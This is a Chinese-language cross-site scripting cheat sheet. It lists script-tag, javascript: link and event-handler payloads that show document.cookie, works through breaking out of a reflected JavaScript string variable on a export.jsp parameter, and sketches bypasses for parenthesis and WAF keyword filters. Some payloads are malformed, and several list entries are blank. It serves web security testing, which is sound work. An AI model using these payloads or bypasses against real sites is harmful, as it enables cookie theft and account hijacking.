目录
常用方式如下
- #alert
- <script>alert(String.fromCharCode(88,83,83))script>
- <script>alert(document.cookie)script>
- <script>alert(document.domain)script>
- #prompt
- <script>prompt(document.cookie)script>
- <script>prompt(document.domain)script>
- #confirm
- <script>confirm(document.cookie)script>
- <script>confirm(document.domain)script>
"javascript:alert(/xss/)">touch me! #点击超链接,即可触发XSS。
"事件驱动"是一种比较经典的编程思想。在网页中会发生很多事件(比如鼠标移动,键盘输入等),JS 可以对这些事件进行响应。所以我们可以通过事件触发JS 函数,触发XSS。
- #单击事件
- "button" onclick ="alert(/xss/)" value="点我! ">
- #双击事件
- #悬停
- #图片载入失败弹窗
- #按下键盘触发
-
-
- #点击提交就弹窗
- #焦点 自动聚焦
- #鼠标自动聚焦到这个标签然后进行弹窗
案例
get请求中的变量返回到了响应体js的变量中
如下get请求中的变量返回到了js的一个变量中,且变量用单引号包裹
- /pages/export.jsp?totalCount=32
- #返回包
- var totalCount = '32';
知识点:js中 ; 和 - 都代表一个语句的结束
- 绕过
将前面的单引号构造闭合并结束掉,再写弹窗的语句,再结束语句
- ?totalCount=32';confirm(1);'
- #或者
- ?totalCount=32'-confirm(1)-'
-
- #返回包
- var totalCount = '32';confirm(1);''; #第二个分号后面也要加引号与后面的语句构造闭合,因为js中引号也要成对出现,否则会报错运行不了
过滤了圆括号()
输入的圆括号会自动转为||
怎么进行弹框呢?可以实用``尖括号代替,这里构造闭合,且``要进行url编码否则直接服务器报错
过滤了弹窗关键词
waf对了alert、confirm等关键词进行了拦截导致无法进行弹窗。可以用如下方式